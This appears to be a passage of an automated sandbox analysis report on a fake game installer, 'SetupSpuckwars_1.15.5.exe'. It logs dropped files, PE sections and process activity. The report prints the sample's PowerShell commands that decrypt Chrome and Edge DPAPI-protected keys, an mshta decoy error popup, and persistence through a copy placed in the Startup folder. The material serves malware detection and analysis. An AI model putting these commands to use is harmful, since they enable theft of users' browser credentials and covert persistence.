Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic file information: File size 69319004 > 1048576
Source: SetupSpuckwars_1.15.5.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
Source: spuckwars.exe.0.drStatic PE information: section name: .00cfg
Source: spuckwars.exe.0.drStatic PE information: section name: .gxfg
Source: spuckwars.exe.0.drStatic PE information: section name: .retplne
Source: spuckwars.exe.0.drStatic PE information: section name: .rodata
Source: spuckwars.exe.0.drStatic PE information: section name: .voltbl
Source: spuckwars.exe.0.drStatic PE information: section name: CPADinfo
Source: spuckwars.exe.0.drStatic PE information: section name: LZMADEC
Source: spuckwars.exe.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe.0.drStatic PE information: section name: malloc_h
Source: ffmpeg.dll.0.drStatic PE information: section name: .00cfg
Source: ffmpeg.dll.0.drStatic PE information: section name: .gxfg
Source: ffmpeg.dll.0.drStatic PE information: section name: .retplne
Source: ffmpeg.dll.0.drStatic PE information: section name: .voltbl
Source: ffmpeg.dll.0.drStatic PE information: section name: _RDATA
Source: libEGL.dll.0.drStatic PE information: section name: .00cfg
Source: libEGL.dll.0.drStatic PE information: section name: .gxfg
Source: libEGL.dll.0.drStatic PE information: section name: .retplne
Source: libEGL.dll.0.drStatic PE information: section name: .voltbl
Source: libEGL.dll.0.drStatic PE information: section name: _RDATA
Source: libGLESv2.dll.0.drStatic PE information: section name: .00cfg
Source: libGLESv2.dll.0.drStatic PE information: section name: .gxfg
Source: libGLESv2.dll.0.drStatic PE information: section name: .retplne
Source: libGLESv2.dll.0.drStatic PE information: section name: .voltbl
Source: libGLESv2.dll.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe0.0.drStatic PE information: section name: .00cfg
Source: spuckwars.exe0.0.drStatic PE information: section name: .gxfg
Source: spuckwars.exe0.0.drStatic PE information: section name: .retplne
Source: spuckwars.exe0.0.drStatic PE information: section name: .rodata
Source: spuckwars.exe0.0.drStatic PE information: section name: .voltbl
Source: spuckwars.exe0.0.drStatic PE information: section name: CPADinfo
Source: spuckwars.exe0.0.drStatic PE information: section name: LZMADEC
Source: spuckwars.exe0.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe0.0.drStatic PE information: section name: malloc_h
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .00cfg
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .gxfg
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .retplne
Source: vk_swiftshader.dll.0.drStatic PE information: section name: .voltbl
Source: vk_swiftshader.dll.0.drStatic PE information: section name: _RDATA
Source: vulkan-1.dll.0.drStatic PE information: section name: .00cfg
Source: vulkan-1.dll.0.drStatic PE information: section name: .gxfg
Source: vulkan-1.dll.0.drStatic PE information: section name: .retplne
Source: vulkan-1.dll.0.drStatic PE information: section name: .voltbl
Source: vulkan-1.dll.0.drStatic PE information: section name: _RDATA
Source: ffmpeg.dll0.0.drStatic PE information: section name: .00cfg
Source: ffmpeg.dll0.0.drStatic PE information: section name: .gxfg
Source: ffmpeg.dll0.0.drStatic PE information: section name: .retplne
Source: ffmpeg.dll0.0.drStatic PE information: section name: .voltbl
Source: ffmpeg.dll0.0.drStatic PE information: section name: _RDATA
Source: libEGL.dll0.0.drStatic PE information: section name: .00cfg
Source: libEGL.dll0.0.drStatic PE information: section name: .gxfg
Source: libEGL.dll0.0.drStatic PE information: section name: .retplne
Source: libEGL.dll0.0.drStatic PE information: section name: .voltbl
Source: libEGL.dll0.0.drStatic PE information: section name: _RDATA
Source: libGLESv2.dll0.0.drStatic PE information: section name: .00cfg
Source: libGLESv2.dll0.0.drStatic PE information: section name: .gxfg
Source: libGLESv2.dll0.0.drStatic PE information: section name: .retplne
Source: libGLESv2.dll0.0.drStatic PE information: section name: .voltbl
Source: libGLESv2.dll0.0.drStatic PE information: section name: _RDATA
Source: spuckwars.exe.6.drStatic PE information: section name: .00cfg
Source: spuckwars.exe.6.drStatic PE information: section name: .gxfg
Source: spuckwars.exe.6.drStatic PE information: section name: .retplne
Source: spuckwars.exe.6.drStatic PE information: section name: .rodata
Source: spuckwars.exe.6.drStatic PE information: section name: .voltbl
Source: spuckwars.exe.6.drStatic PE information: section name: CPADinfo
Source: spuckwars.exe.6.drStatic PE information: section name: LZMADEC
Source: spuckwars.exe.6.drStatic PE information: section name: _RDATA
Source: spuckwars.exe.6.drStatic PE information: section name: malloc_h
Source: 28ab86ab-db2b-4366-822d-9ffba643684e.tmp.node.6.drStatic PE information: section name: _RDATA
Source: 0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.node.6.drStatic PE information: section name: _RDATA
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\spuckwars.exeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\resources\elevate.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\ffmpeg.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\System.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\nsis7z.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ffmpeg.dllJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\28ab86ab-db2b-4366-822d-9ffba643684e.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\vk_swiftshader.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\28ab86ab-db2b-4366-822d-9ffba643684e.tmp.nodeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Local\Temp\0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.nodeJump to dropped file
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\LICENSE.electron.txtJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSE.electron.txtJump to behavior

Boot Survival

barindex
Drops PE files to the startup folder
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exeJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
